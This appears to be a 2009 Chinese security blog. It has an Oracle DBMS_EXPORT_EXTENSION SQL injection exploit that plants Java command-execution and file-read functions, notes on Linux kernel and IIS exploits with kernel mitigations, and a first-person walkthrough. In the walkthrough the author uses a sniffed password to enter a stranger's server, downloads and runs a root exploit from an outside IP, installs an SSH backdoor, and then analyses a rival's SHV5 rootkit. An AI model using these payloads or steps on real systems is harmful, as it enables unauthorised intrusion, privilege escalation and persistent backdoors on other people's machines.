select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));
String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual ;

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual ;

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual ;

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual ;

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual ;

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual ;

select  sys.LinxRunCMD('/bin/cat /etc/issue') from dual ;

Posted by vitter at 2009-10-13 11:01:10 | 评论 (0) | 引用

各种linux发行版时间轴

linux_timeline

Posted by vitter at 2009-10-13 10:51:16 | 评论 (0) | 引用

September 01, 2009

又不消停了,IIS remote和又一个Kernel local

前不久刚爆出Linux Kernel的高危local root漏洞,几乎通杀所有内核:

Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit
Linux Kernel 2.x sock_sendpage() Local Root Exploit #2
Linux Kernel 2.x sock_sendpage() Local Root Exploit (Android Edition)
Linux Kernel 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)
Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit (ppc)

详情和修补方案见:http://blog.vfocus.net/archives/000660.html

现在又出了一个32位2.6->2.6.19的,现在还没解决方案,只能等,已知在32位,2.6内核的Centos RHEL 4.x,5.x上以及Fedora Core 4/5/6等上测试成功:

Linux Kernel 2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit

[root@aaa ~]# getenforce
Enforcing

这个的能成功

[root@aaa ~]# getenforce
Disabled

的都会报错:[-] mmap(): Permission denied

同时IIS也出了个ftpd的远程高危漏洞,5和6的0day:

Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)

各位管理员也该停的停了吧,这2个现在都没临时的解决方案,只能等待。

Posted by vitter at 2009-09-01 10:03:50 | 评论 (1) | 引用

August 17, 2009

Linux Kernel再出高危漏洞,赶紧补丁

上周黑客爆出Linux Kernel的高危local root漏洞,周末exp出来了:

http://www.milw0rm.com/exploits/9435
http://www.milw0rm.com/exploits/9436

经测试各种系统都有问题,即使开启了SELinux了也不行。临时修复方案:

1、使用Grsecurity或者Pax内核安全补丁,并开启KERNEXEC防护功能。

2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。

3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。

在/etc/modprobe.conf文件中加入下列内容:

install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true

执行/sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct,如果没有输出,你不需要重启,如果有输出,你需要重启系统,才可以对此攻击免疫。

4、如果您使用的是Debian或Ubuntu系统,您可以通过下面的操作防止被攻击

cat > /etc/modprobe.d/mitigate-2692.conf << EOM
install ppp_generic /bin/true
install pppoe /bin/true
install pppox /bin/true
install slhc /bin/true
install bluetooth /bin/true
install ipv6 /bin/true
install irda /bin/true
install ax25 /bin/true
install x25 /bin/true
install ipx /bin/true
install appletalk /bin/true
EOM
/etc/init.d/bluez-utils stop

Posted by vitter at 2009-08-17 10:34:19 | 评论 (2) | 引用

July 18, 2009

我的一台linux肉鸡的简单手工入侵检测过程

by:vitter
blog:blog.securitycn.net

今天发现一台肉鸡上某人的ssh连到另外一台服务器上,记录下了密码。

[root@mail ~]# cat /tmp/sshpswd
ldc:sle823jfsGs@222.222.66.11

直接ssh上去。

[root@mail ~]# ssh ldc@222.222.66.11
ldc@222.222.66.11's password:
Last login: Fri Jul 17 13:11:38 2009 from 221.140.140.200
[ldc@localhost ldc]$ cat /etc/issue
Red Hat Enterprise Linux Server release 5 (Tikanga)
Kernel \r on an \m

[ldc@localhost ldc]$ uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686 i686 i386 GNU/Linux

是rhel5.0没升级过内核,vmsplice的local root应该可以的,不过测试了下,机器挂了,换udev的好了。

[ldc@localhost ldc]$ mkdir .v
[ldc@localhost ldc]$ cd .v
[ldc@localhost .v]$ wget http://211.100.50.70/u.sh
--13:21:09--  http://211.100.50.70/u.sh
Connecting to 211.100.50.70:80... 宸茶繛鎺ャ
宸插彂鍑?HTTP 璇锋眰锛屾鍦ㄧ瓑寰呭洖搴?.. 200 OK
闀垮害锛?366 (3.3K) [application/x-sh]
Saving to: `u.sh'

100%[===========================================================================================>] 3,366       --.-K/s   in 0.04s 

13:21:09 (93.7 KB/s) - `u.sh' saved [3366/3366]

[ldc@localhost .v]$ ls
r00t    r00t.c  u.sh
[ldc@localhost .v]$ chmod +x u.sh
[ldc@localhost .v]$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f69f8800 0   2486   00000111 0        0        00000000 2
f7fdae00 0   0      00000000 0        0        00000000 2
c2132200 6   0      00000000 0        0        00000000 2
f6a57a00 7   2143   00000001 0        0        00000000 2
f7caf000 7   0      00000000 0        0        00000000 2
f6a0be00 9   2143   00000000 0        0        00000000 2
f6a61200 9   1996   00000000 0        0        00000000 2
f7de1c00 9   0      00000000 0        0        00000000 2
f7d6ca00 10  0      00000000 0        0        00000000 2
f7fb3200 11  0      00000000 0        0        00000000 2
c2154200 15  476    ffffffff 0        0        00000000 2
f7fdac00 15  0      00000000 0        0        00000000 2
f7fb3000 16  0      00000000 0        0        00000000 2
c21cde00 18  0      00000000 0        0        00000000 2
[ldc@localhost .v]$ ps aux | grep udev
root       477  0.0  0.0  2916 1396 ?        S<   12:36   0:00 /sbin/udevd -d
ldc       3462  0.0  0.0  4128  680 pts/0    S    13:00   0:00 grep udev
[ldc@localhost .v]$ sh u.sh 476
suid.c: 鍦ㄥ嚱鏁?鈥榤ain鈥?涓細
suid.c:3: 璀﹀憡锛氶殣寮忓0鏄庝笌鍐呭缓鍑芥暟 鈥榚xecl鈥?涓嶅吋瀹

sh-3.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh

已经是root权限了。

sh-3.1# w
13:25:18 up 48 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
ldc      pts/0    100.204.107.20    13:05    0.00s  0.12s  0.06s sshd: ldc [priv]
sh-3.1# pwd
/home/ldc/.v
sh-3.1# ssh -V
OpenSSH_4.3p2, OpenSSL 0.9.8b 04 May 2006

我们先留个ssh的后门。

sh-3.1# wget http://211.100.50.70/openssh4.3p2.tar.gz
--13:32:08--  http://211.100.50.70/openssh4.3p2.tar.gz
Connecting to 211.100.50.70:80... 宸茶繛鎺ャ
宸插彂鍑?HTTP 璇锋眰锛屾鍦ㄧ瓑寰呭洖搴?.. 200 OK
闀垮害锛?79990 (957K) [application/x-gzip]
Saving to: `openssh4.3p2.tar.gz'

100%[===========================================================================================>] 979,990     1.14M/s   in 0.8s  

13:32:08 (1.14 MB/s) - `openssh4.3p2.tar.gz' saved [979990/979990]

sh-3.1# tar zxf openssh4.3p2.tar.gz
sh-3.1# cd openssh-4.3p2/
sh-3.1# ./configure --prefix=/usr --sysconfdir=/etc/ssh
checking for gcc... gcc
checking for C compiler default output file name... a.out
............(省略若干行)

sh-3.1# make && make install
conffile=`echo sshd_config.out | sed 's/.out$//'`; \
        /bin/sed -e 's|/etc/ssh/ssh_prng_cmds|/etc/ssh/ssh_prng_cmds|g' -e
............(省略若干行)

sh-3.1# cp ssh_config sshd_config /etc/ssh/
sh-3.1# /etc/rc.d/init.d/sshd restart
鍋滄 sshd锛                                              [纭畾]
鍚姩 sshd锛                                              [纭畾]

ok了,用我们的sshdoor登录。

[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh

[root@localhost ~]# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name  
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2298/hpiod         
tcp        0      0 0.0.0.0:1000                0.0.0.0:*                   LISTEN      2090/rpc.statd     
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      2056/portmap       
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      2883/vsftpd        
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2315/cupsd         
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2361/sendmail: acce    
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2303/python            

总感觉这系统怪怪的,连22端口都看不到,应该替换了netstat了,先看看有没有其他被替换掉的系统文件吧。

[root@localhost ~]# rpm -qaV
S.5..UG.   /bin/netstat
S.5..UG.   /sbin/ifconfig
S.5....T   /usr/bin/ssh-keygen
S.5....T c /etc/sysconfig/system-config-securitylevel
S.5..UG.   /usr/sbin/lsof
.M......   /var/tux
S.5....T c /etc/inittab
S.5....T   /usr/share/texmf-var/fonts/map/dvipdfm/updmap/dvipdfm_dl14.map
S.5....T   /usr/share/texmf-var/fonts/map/dvipdfm/updmap/dvipdfm_ndl14.map
S.5....T   /usr/share/texmf-var/fonts/map/pdftex/updmap/pdftex_dl14.map
S.5....T   /usr/share/texmf-var/fonts/map/pdftex/updmap/pdftex_ndl14.map
S.5....T   /usr/share/texmf-var/web2c/aleph.fmt
S.5....T   /usr/share/texmf-var/web2c/amstex.fmt
S.5....T   /usr/share/texmf-var/web2c/bamstex.fmt
S.5....T   /usr/share/texmf-var/web2c/bplain.fmt
S.5....T   /usr/share/texmf-var/web2c/cont-en.fmt
S.5....T   /usr/share/texmf-var/web2c/etex.fmt
..5....T   /usr/share/texmf-var/web2c/metafun.mem
S.5....T   /usr/share/texmf-var/web2c/mf.base
..5....T   /usr/share/texmf-var/web2c/mpost.mem
S.5....T   /usr/share/texmf-var/web2c/mptopdf.fmt
S.5....T   /usr/share/texmf-var/web2c/omega.fmt
S.5....T   /usr/share/texmf-var/web2c/pdfetex.fmt
S.5....T   /usr/share/texmf-var/web2c/pdftex.fmt
S.5....T   /usr/share/texmf-var/web2c/tex.fmt
.......T c /etc/kdump.conf
S.5....T c /etc/printcap
..5....T c /etc/pki/nssdb/secmod.db
....L... c /etc/pam.d/system-auth
.M...... c /etc/cups/classes.conf
.......T c /etc/audit/auditd.conf
missing     /usr/sbin/nscd
S.5....T c /etc/sysconfig/named
.M......   /var/named
SM5..UG.   /bin/ps
SM5..UG.   /usr/bin/top
SM5....T c /etc/sysconfig/iptables-config
S.5..UG.   /usr/bin/find
prelink: /usr/lib/libGL.so.1.2.#prelink#.crFdQJ Could not trace symbol resolving
S.?.....   /usr/lib/libGL.so.1.2
S.5....T c /etc/ppp/chap-secrets
S.5....T c /etc/ppp/pap-secrets
S.5....T c /etc/xml/catalog
S.5....T c /usr/share/sgml/docbook/xmlcatalog
S.5....T c /etc/ssh/ssh_config
S.5....T   /usr/bin/scp
S.5....T   /usr/bin/sftp
S.5....T   /usr/bin/ssh
S.5....T   /usr/bin/ssh-add
SM5...GT   /usr/bin/ssh-agent
S.5....T   /usr/bin/ssh-keyscan
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/builtin35.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/download35.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/ps2pk.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/psfonts_pk.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/psfonts_t1.map
S.5....T   /etc/sgml/docbook-slides.cat
S.5....T   /usr/share/icons/hicolor/icon-theme.cache
S.5..UG.   /bin/ls
S.5..UG.   /usr/bin/dir
S.5..UG.   /usr/bin/md5sum
S.5..UG.   /usr/bin/pstree
S.5....T c /etc/syslog.conf
S.5....T c /etc/ssh/sshd_config
S.5....T   /usr/sbin/sshd
missing     /var/lib/texmf/ls-R
S.5....T   /etc/sgml/docbook-simple.cat
S.5....T c /etc/vsftpd/vsftpd.conf
.M......   /var/ftp/pub
S.5....T c /etc/mailcap
......G.   /var/cache/samba/winbindd_privileged
.......T c /etc/mail/sendmail.cf
SM5....T c /etc/mail/submit.cf
S.5....T c /var/log/mail/statistics
..5....T c /usr/lib/security/classpath.security
S.5....T c /etc/sane.d/dll.conf

还好rpm没替换,看来系统的好些命令被替换了,嘿嘿,有同行在啊。
不好意思,那我就要T你下去了。下面先检查一下,当然这个系统不可靠了,我们先替换回可靠的命令:

[root@localhost bin]# cp -f /home/ldc/.v/dir /usr/bin/dir
cp: cannot remove `/usr/bin/dir': Operation not permitted

chattr加了iau了。

[root@localhost bin]# chattr -iau /usr/bin/dir
[root@localhost bin]# cp -f /home/ldc/.v/dir /usr/bin/dir

ok了。看看还有什么吧:

[root@localhost chkrootkit-0.48]# lsattr /bin /sbin /usr/bin /usr/sbin /etc| grep -e -ia
s---ia------- /bin/ps
s---ia------- /bin/ls
s---ia------- /bin/netstat
s---ia------- /sbin/ifconfig
s---ia------- /sbin/ttymon
s---ia------- /sbin/ttyload
s---ia------- /usr/bin/top
s---ia------- /usr/bin/md5sum
s---ia------- /usr/bin/pstree.x11
s---ia------- /usr/bin/find
s---ia------- /usr/bin/dir
s---ia------- /usr/bin/pstree
s---ia------- /usr/sbin/lsof
s---ia------- /usr/sbin/ttyload
s---ia------- /etc/sh.conf
[root@localhost bin]# chattr -iau ps ls netstat
[root@localhost bin]# rm -rf ps ls netstat
[root@localhost bin]# rz
rz waiting to receive.奫root@localhost bin]# chmod +x ps ls netstat
[root@localhost bin]# chattr +iau ps ls netstat

同样的方式把/usr/sbin/lsof、/usr/bin/find等都替换回来。
再用netstat看看端口吧:
[root@localhost bin]# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name  
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2298/hpiod         
tcp        0      0 0.0.0.0:1000                0.0.0.0:*                   LISTEN      2090/rpc.statd     
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      2056/portmap       
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      2883/vsftpd        
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2315/cupsd         
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2361/sendmail: acce
tcp        0      0 0.0.0.0:65530               0.0.0.0:*                   LISTEN      2663/ttyload       (有东东出来了吧)
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2303/python        
tcp        0      0 :::22                       :::*                        LISTEN      13935/sshd       

现在再用chkrootkit和rkhunter查一下看看:

[root@localhost .v]# ls
chkrootkit-0.48  chkrootkit.tar.gz  rkhunter  rkhunter-1.2.7.tar.gz
[root@localhost .v]# cd chkrootkit-0.48/
[root@localhost chkrootkit-0.48]# ./chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
............(省略若干行)
Checking `ifconfig'... INFECTED
............(省略若干行)
Checking `pstree'... INFECTED
............(省略若干行)
Checking `top'... INFECTED
............(省略若干行)
Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed
............(省略若干行)
Searching for Showtee... Warning: Possible Showtee Rootkit installed 
............(省略若干行)
Searching for Romanian rootkit...  /usr/include/file.h /usr/include/proc.h
............(省略若干行)

上面几行都是有问题的。
下面用rkhunter,它的log存在/var/log/rkhunter.log里面

[root@localhost rkhunter]# /usr/local/bin/rkhunter -c --createlogfile

Rootkit Hunter 1.2.7 is running

Determining OS... Unknown
Warning: This operating system is not fully supported!
Warning: Cannot find md5_not_known
All MD5 checks will be skipped!  (md5sum被替换了)
............(省略若干行)
   Rootkit 'SHV4'...                                          [ Warning! ]             (SHV4)

             --------------------------------------------------------------------------------
             Found parts of this rootkit/trojan by checking the default files and directories
             Please inspect the available files, by running this check with the parameter
             --createlogfile and check the log file (current file: /var/log/rkhunter.log).
             --------------------------------------------------------------------------------

[Press <ENTER> to continue]

   Rootkit 'SHV5'...                                          [ Warning! ]             (SHV5)

             --------------------------------------------------------------------------------
             Found parts of this rootkit/trojan by checking the default files and directories
             Please inspect the available files, by running this check with the parameter
             --createlogfile and check the log file (current file: /var/log/rkhunter.log).
             --------------------------------------------------------------------------------
............(省略若干行)
Scanning took 84 seconds
Scan results written to logfile (/var/log/rkhunter.log)

-----------------------------------------------------------------------

Do you have some problems, undetected rootkits, false positives, ideas
or suggestions?
Please e-mail me by filling in the contact form (@http://www.rootkit.nl)

-----------------------------------------------------------------------

下面我们看下log:

[root@localhost rkhunter]# cat /var/log/rkhunter.log
[15:16:51] Running Rootkit Hunter 1.2.7 on localhost.localdomain
[15:16:51]
Rootkit Hunter 1.2.7, Copyright 2003-2005, Michael Boelen
............(省略若干行)
[15:16:55] *** Start scan SHV4 ***
[15:16:55]   - File /etc/ld.so.hash... OK. Not found.
[15:16:55]   - File /lib/libext-2.so.7... OK. Not found.
[15:16:55]   - File /lib/lidps1.so... WARNING! Exists.  (找到一个文件)
[15:16:55]   - File /usr/sbin/xntps... OK. Not found.
[15:16:55]   - Directory /lib/security/.config... OK. Not found.
[15:16:55]   - Directory /lib/security/.config/ssh... OK. Not found.
[15:17:04] *** Start scan SHV5 ***
[15:17:04]   - File /etc/sh.conf... WARNING! Exists.   (找到一个文件)
[15:17:04]   - File /dev/srd0... OK. Not found.
[15:17:04]   - Directory /usr/lib/libsh... WARNING! Exists.  (找到一个目录)
............(省略若干行)

下面手工核对下,因为工具都是对已有的检查,如果改过的,他就找不到了。

[root@localhost sbin]# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name  
tcp        0      0 0.0.0.0:65530               0.0.0.0:*                   LISTEN      2663/ttyload       
............(省略若干行)
raw        0      0 0.0.0.0:1                   0.0.0.0:*                   7           2679/ttymon        
............(省略若干行)

发现2个不正常的
[root@localhost sbin]# ps aux|grep 2663
root      2663  0.0  0.0   2128   516 ?        Ss   12:37   0:00 /sbin/ttyload -q   (原型出来了)
root     15350  0.0  0.0   4088   604 pts/0    S+   15:21   0:00 grep 2663
[root@localhost sbin]# lsof -p 2663
COMMAND  PID USER   FD   TYPE DEVICE    SIZE     NODE NAME
3       2663 root  cwd    DIR  253,0    4096        2 /
3       2663 root  rtd    DIR  253,0    4096        2 /
3       2663 root  txt    REG  253,0  652620 34897965 /tmp/sh-AQJ3OQYACSO (deleted)  (是个压缩的)
3       2663 root  mem    REG  253,0  121684  8586729 /lib/ld-2.5.so
3       2663 root  mem    REG  253,0 1576952  8586730 /lib/libc-2.5.so
3       2663 root  mem    REG  253,0  101036  8586743 /lib/libnsl-2.5.so
3       2663 root  mem    REG  253,0   15264  8586757 /lib/libutil-2.5.so
3       2663 root  mem    REG  253,0   27836  8585303 /lib/libcrypt-2.5.so
3       2663 root    0u   CHR    1,3             1517 /dev/null
3       2663 root    1u   CHR    1,3             1517 /dev/null
3       2663 root    2u   CHR    1,3             1517 /dev/null
3       2663 root    3u  IPv4   9895              TCP *:65530 (LISTEN)
[root@localhost sbin]# lsof -p 2679
COMMAND  PID USER   FD   TYPE DEVICE    SIZE    NODE NAME
ttymon  2679 root  cwd    DIR  253,0    4096       2 /
ttymon  2679 root  rtd    DIR  253,0    4096       2 /
ttymon  2679 root  txt    REG  253,0   93476  852119 /sbin/ttymon
ttymon  2679 root  mem    REG  253,0   46740 8585257 /lib/libnss_files-2.5.so
ttymon  2679 root  mem    REG  253,0  121684 8586729 /lib/ld-2.5.so
ttymon  2679 root  mem    REG  253,0 1576952 8586730 /lib/libc-2.5.so
ttymon  2679 root    3u   raw                   9925 00000000:0001->00000000:0000 st=07

监听65530端口的是个ssh后门:

[root@localhost sbin]# nc 127.0.0.1 65530
SSH-1.5-2.0.13

Protocol mismatch.

密码应该在:

[root@localhost sbin]# cat /etc/sh.conf
76800957735704ee3dd8ac42779db49a  -

加密了,我们再看看另外一个配置文件:

[root@localhost sbin]# cat /lib/lidps1.so
ttyload
shsniff
shp
shsb
hide
burim
synscan
mirkforce
ttymon
sh2-power

看来是ps的配置文件。

看看另外一个进程:

[root@localhost sbin]# strings /sbin/ttymon
............(省略若干行)
Usage: %s <dst> <src> <size> <number>
Ports are set to send and receive on port 179
dst:    Destination Address
src:    Source Address
size:   Size of packet which should be no larger than 1024 should allow for xtra header info thru routes
num:    packets
Could not resolve %s fucknut

根据这个Google了下,应该是个dos工具。感兴趣的可以编译下玩玩看看:http://www.securityfocus.com/archive/82/334848这里有。

ok我们现在进入黑客的老巢:

[root@localhost sbin]# cd /usr/lib/libsh
[root@localhost libsh]# ls -al
total 140
drwxr-xr-x   6 root  root   4096 Dec 18  2008 .
drwxr-xr-x 118 root  root  69632 Jul 17 13:55 ..
drwxr-xr-x   2 root  root   4096 Dec 18  2008 .backup
-rwxr-xr-x   1   122   114  1206 Apr 18  2003 .bashrc
-rwxr-xr-x   1   122   114  2000 Nov 28  2006 hide
drwxr-xr-x   2 root  root   4096 Dec 18  2008 .owned
-rwxr-xr-x   1   122   114  1345 Nov 28  2006 shsb
drwxr-xr-x   2 root  root   4096 Jul 14 04:03 .sniff
drwxr-xr-x   2 gaobo gaobo  4096 Nov 28  2006 utilz
[root@localhost libsh]# ls .backup/
dir  find  ifconfig  ls  lsof  md5sum  netstat  ps  pstree  top
上面就是我们系统备份的文件,直接恢复即可。

find搜下其他的配置文件。此步骤省略。最后都找到了:

[root@localhost libsh]# find / -nouser
/lib/libsh.so/shhk.pub
/lib/libsh.so/shhk
/lib/libsh.so/shrs
............(省略若干行)

[root@localhost libsh]# cd /lib/libsh.so/
[root@localhost libsh.so]# ls
bash  shdcf  shhk  shhk.pub  shrs

这个目录是ssh的配置文件
其他的用关键字就可以了:如find / -name "*" -exec grep -l "ttyload" {} \;

[root@localhost lib]# cat /usr/include/proc.h
3 burim
3 mirkforce
3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
[root@localhost lib]# cat /usr/include/file.h
sh.conf
libsh
.sh
system
shsb
libsh.so
shp
shsniff
srd0
[root@localhost lib]# cat /usr/include/hosts.h
2 212.110
2 195.26
2 194.143
2 62.220
3 2002
4 2002
3 6667
4 6667
3 65530
4 65530
[root@localhost lib]# cat /usr/include/log.h
mirkforce
synscan
syslog

那看看他怎么启动的:
[root@localhost lib]# cat /etc/inittab
#
# inittab       This file describes how the INIT process should set up
#               the system in a certain run-level.
#
# Author:       Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
#               Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left.  Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly. 
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload        (在这里了)
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# modem getty.
# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem

# fax getty (hylafax)
# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem

# vbox (voice box) getty
# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6
# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7

# end of /etc/inittab

看看他的启动文件:

[root@localhost lib]# cat /usr/sbin/ttyload
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1

以上除了工具,我们通过手工的方式对rootkit进行了一些简单的分析,这个是个没有修改过的SHV5。以上只是一些思路,在对待入侵问题上要具体问题具体分析,这个相对简单了点。

下面我们测试下这个SHV5:

[root@localhost .v]# wget http://211.100.50.70/shv5.tar.gz

解压、安装:

[root@localhost .v]# tar zxf shv5.tar.gz
[root@localhost .v]# cd shv5
[root@localhost shv5]# ls
bin.tgz  conf.tgz  lib.tgz  README  setup  utilz.tgz
[root@localhost shv5]# cat README
############
### shv5 ###
############

                   MMMMMMM                                   MMMMMMMMMMMMMMM  
                   MMMMMMM                                   MMMMMMMMMMMMMMM  
                   MMMMMMM                                   MMMMMMMMMMMMMMM  
                   MMMMMMM                                   MMMMMMMMMMMMMMM  
                   MMMMMMM                                   MMMMMM           
           MMMMMM  MMMMMMMMMMMMMMMM     MMMMMMM    MMMMMMM   MMMMMM           
         MMMMMMMM  MMMMMMMMMMMMMMMMM    MMMMMMM    MMMMMMM   MMMMMMMMMMMM     
        MMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM   MMMMMMMMMMMMMM   
       MMMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM        MMMMMMMMMM  
       MMMMMMM     MMMMMMM    MMMMMMM   MMMMMMM    MMMMMMM          MMMMMMMM  
       MMMMMMM     MMMMMMM    MMMMMMM    MMMMMM    MMMMMM            MMMMMMMM 
       MMMMMMM     MMMMMMM    MMMMMMM    MMMMMMM  MMMMMMM            MMMMMMMM 
    MMMMMMMMMM     MMMMMMM    MMMMMMM     MMMMMMMMMMMMMM    MMM     MMMMMMMM  
  MMMMMMMMMMM      MMMMMMM    MMMMMMM      MMMMMMMMMMMMM    MMMMMMMMMMMMMMMM  
MMMMMMMMMMM       MMMMMMM    MMMMMMM       MMMMMMMMMMM     MMMMMMMMMMMMMMM   
MMMMMMMMMM        MMMMMMM    MMMMMMM        MMMMMMMMM      MMMMMMMMMMMMM     
MMMMMMMM          MMMMMMM    MMMMMMM          MMMMM            MMMMMMM       

DISCLAIMER:

* The purpose of these coded instructions, statements and computer
* programs is for TEST AIMS ONLY !
* Their use/misuse is at USERS OWN RISK !
